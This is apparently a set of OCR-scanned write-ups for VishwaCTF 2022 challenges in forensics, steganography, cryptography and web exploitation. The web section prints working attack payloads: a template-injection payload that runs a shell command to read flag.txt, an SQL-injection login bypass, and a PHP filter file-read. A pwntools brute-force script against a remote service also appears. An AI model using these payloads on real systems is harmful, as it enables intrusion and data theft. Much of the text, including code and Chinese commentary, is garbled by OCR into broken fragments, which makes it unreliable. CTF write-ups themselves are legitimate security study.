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struct
math
signal

oS

def MathHash(m):
hashval (%]
for i in ( (m)-7):
C struct.unpack( , m[i:i+8])[@]
t math.tan(c math.pi (1<<64))
EHIE struct.unpack( , struct.pack( , t))[e]

return hashval

if _ _name__

FLAG os.getenv( 5 ) .encode()

assert FLAG.startswith(b

signal.alarm(18600)
try:
while True:
key .fromhex( (
assert (FLAG) (key)

flag FLAG
for i, c in CEDE
flag = flag[:i] ([(flag[i] key[i]) 0x1001]) flag[i+l:]

h = MathHash(flag)
print ( (h))
except:
exit(9)

el EE T, ERA6EEHE, JEHKEA GBI laghKEZ. Fibk— B AR Elag K EHFH

;Emnmn:; nc m;::.'Tt '—l“PT' L 1“““1

Wi, KEN25. IBAARMIE S — Magh zerepts{abcdefghijklmnop}
windows LIz {723 7E signal.alarm(1800) AbHEs, BELEMIBLEE AT LL 1, X AN2linux ME S A0EE, it 180080 Wit H /- i)
.



SR A At A\

AT LA B (flag[i] + key[i]) % ox100 i F%

R4 SHAE MathHash BREH, 7RI 25 #Rprint— 1, Bl print(c,t,hashval)

RO UK EL, BB S T B R K, FiE — Fmathhashpg 50rF, 2 RI<Q, A4 R0 TR AL 5 2 =
7o

X GRARAR S, BRSREFRAESALSALEL, 1 HIT k847 B .
X PR IR AN 13 BEAF 255 — R4 0105 A\ 869b8ed0908c8d85

FHEER], hashvallf{E 2 K H 5 sl (E 3 201
hashval ~= struct.unpack('<Q', struct.pack('<d', t))[0]
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Key:

b "\ x86\x9b\x8e\xdO\x90\x8c \x8d\x83"

b "\ x00\x00\x00\x00\x00\x00\x00\xfeabcdefghijklmnop}'
18302628885633695744 -0.024548622108925482 13806104916847661563
Hash: 0xffb3280f302606af

Key:

b '\ x86\x9b\x8e\xd0\x90\x8c\x8d\x84"

b "\ x00\x00\x00\x00\x00\x00\x00\x T fabcdefghijklmnop}'
18374686479671623680 -0.012272462379566355 13801600251531769532
Hash: Oxffa3Z2ecd45e71fa%d

Key:

b '\ x86\x9b\x8e\xd0\x90\x8c\x8d\x85"

b "\ x80\x00\x00\x00\x00\x00\x00\x00abcdefghijklmnop}'

0 0.00

Hash: 0x402abe641d11c559

Key:

b '\ x86\x9b\x8e\xd0\x90\x8c\x8d\x86"
b'\x00\x00\x00\x00\x00\x00\x00\x0labcdefghijklmnop}"
72057594037927936 0.012272462379566276 4578228214676993678
Hash: Ox7fa39ce57df07890
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from pwn import
p remote( ,10001)

hex_flag
for i in flag:
hex_flag (256 (1))[2:].2Ffi11(2)
for i in (115,233):
hex2_flag = hex_flag (i)[2:].2fi11(2)
p.sendline(hex2_flag.encode())
rec p.recvuntil(b )
print( (1), (255-1), (255-1i),rec)
real (
flag (255 (real))
print(flag)
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[VishwaCTF 2022 Forensic]So Forgetful!

Once my friend was connected to my network, he did some office work and left. Next day he called me that he forgot his password, and
wanted me to rescue him &
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- POST /pages/main.html HTTP/1.1
| |Referer: 10.0.0.1:8080/index.html
User-Agent: User-Agent: Mozilla/5.@ (Windows NT 1@.@; WOW64; rv:4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9%/%;
Host: 10.0.06.1:8086
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Accept-Language: en-US,en;g=0.5
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[i|tcp.stream eg 9

No. Tine

109 2016-03-19 18:12:42.98
110 2016-03-19 10:12:42.98
111 2016-03-19 10:12:42.98
- 112 2016-03-19 10:12:42.98
113 2016-03-19 10:12:42.98
114 2016-63-19 18:12:42.98
115 2016-03-19 18:12:42.98
116 2016-03-19 10:12:42.98
117 2016-03-19 10:12:42.98
118 2016-03-19 10:12:42.98

userid=spiveyp&pswrd=LLEV A NFElo o Iy EDHTTP/1.0 200 0K
Server: BaseHTTP/@©.3 Python/2.7.9

Date: Ssat, 19 Mar 2016 ©2:12:42 GMT
Content-type: text/html

[]
|

120 2016-03-19 18:12:42.98 UEJJIJ@?;%FHUFHUZ

|

# F|base644i i 5 1% 1, TS EIKN1Z6PX VY9
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[VishwaCTF 2022 Forensic]The Last Jedi
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flag: {H1DD3N_M34N1NG}

[VishwaCTF 2022 Forensic]Keep the flag high

The great Pirate Narao Gosco has your flag but pirates are hard to fight. Can you rotate the ch4n7es in your favor?
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VishwaCTF{f@r3nsic5 is t3dieus}
heqp*CE
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ishwaCTF{f@r3nsic5_is_t3di@us}

[VishwaCTF 2022 Forensic]Garfeld?

Garfeld can hide secrets pretty well.

wavff, HAuFT I
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[VishwaCTF 2022 Steganography]incomplete

Why do i feel that this is incomplete?
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[VishwaCTF 2022 Steganography]Vision
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Welcome to npiet online !

Info: upload status: Ok
Info: Oops - no suitable picture found: Piet peeks at 1
Info: Trying to execute anyway...

Info: executing: npiet -w -e 220000 image.png

VishwaCTF{b11nd3d_by th3 colOrb}

CSDN @2 Murnuzi

\VishwaCTF{bl1lnd3d_by_th3_coler5}

[VishwaCTF 2022 Web]Hey Buddy!

Hum, %iA123[al 2 hello 123, 1 HurlfRH] &K ?name=, Jfillssti

fuzzf I R B A U 1Sk, I ${TFsy Seid

payload: https://h3y-buddy.vishwactf.com/submit?name=

{{x._init__ . globals_ [%27__builtins__ %27].eval(%27__import__ (%220s%22).popen(%22cat${IFS}flag.txt%22).read()%
27)}}

3 #flag

ishwaCTF{S3rv3r_1s_4fraiD_of_inj3c7ion}

[VishwaCTF 2022 Web]My Useless Website

JI R b G s BT
https://my-us3I355-w3b51t3.vishwactf.com/?user=1%27%200r%201=1-+&pass=1

ishwaCTF{I_KnOw_YOu_kneW_tilhs_4lr3ady}

[VishwaCTF 2022 Web]Stock Bot

Rik ) f ol .. ). Jetc/passwd KIMAEMS LRI ME, FEALL KN /Products/check. php?
product="+msg A1 if(!msg.includes('Flag'))
Hum, HE#php//ththilis— FNFlag


https://www.bertnase.de/npiet/npiet-execute.php
https://my-us3l355-w3b51t3.vishwactf.com/?user=1%2527%20or%201=1--%20&pass=1

VEREESE /Products/check. php?product= UL [H 22 &4, AR BLEAE 0 AHE R AL 2B AT i 42

if[!msz. includes( Flag JJ 1
async function fetchDatadsynclurl) |
try |
const response = await fetch(url);
obj = (await response. jsoni)):
div. innerHTHL += “<div class= bot-div’ »>{img src="bot.png’ class= bot-avatar’ />
} catch (error) |
div. innerHTHL += “<div class= bot-div’ »>{img src="bot.png’ class= bot-avatar’ />

}
div. scrollTop = div. scrollHeight;
}
fetchDatadsync( /Products/check. php7product=" +msg)
}
else|
div. innerHTHL += “<div class= bot-div »<img src="bot.png class= bot-avatar /< ¢
div. scrollTop = div. scrollHeight;
) CSDN @& Murnuzi

https://stOck-bO0t.vishwactf.com/Products/check.php?product=php:/ffilter/convert.base64-encode/resource=Flag
13 #flag

[VishwaCTF 2022 Reverse Engineering]Corrupted Image

Hum, AEIEAMEIRe, &2 8 1kI1) 0o oo tik 42 4p B r] 15 Flflag

[VishwaCTF 2022 Cryptography]Tallest Header
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def encrypt(key, plaintext):

plaintext .join(plaintext.split( )) .upper()
ciphertext
for pad in (o, (plaintext) (key) (CEMDE
plaintext
for offset in (o, (plaintext), (CEMDE
for element in [a 1 for a in key]:
ciphertext plaintext[offset element]
ciphertext

return ciphertext[:-1]

—Ninfo S AF

key = [2,1,3,5,4]

ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N©

Bl AR 5 AT BUR I S B B, R4 A e — Uit ] AR 21 1E A flag
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https://st0ck-b0t.vishwactf.com/Products/check.php?product=php://filter/convert.base64-encode/resource=Flag

encrypt(key,plaintext

SRIGAERR BRI print (" . join(ciphertext.split(" ")).lower())
1551 45 A FvishwaC TR 4L

vishwaCTF{trlcky h34d3r_wlth_p3rmu7atileén}

[VishwaCTF 2022 Miscellaneous]l don’t need sleep, | need answers

Discord profile pictures are circular. But are they? VSauce music plays The Librarian is all knowing, maybe try confronting him? (refer
“The Library” challenge, OSINT)
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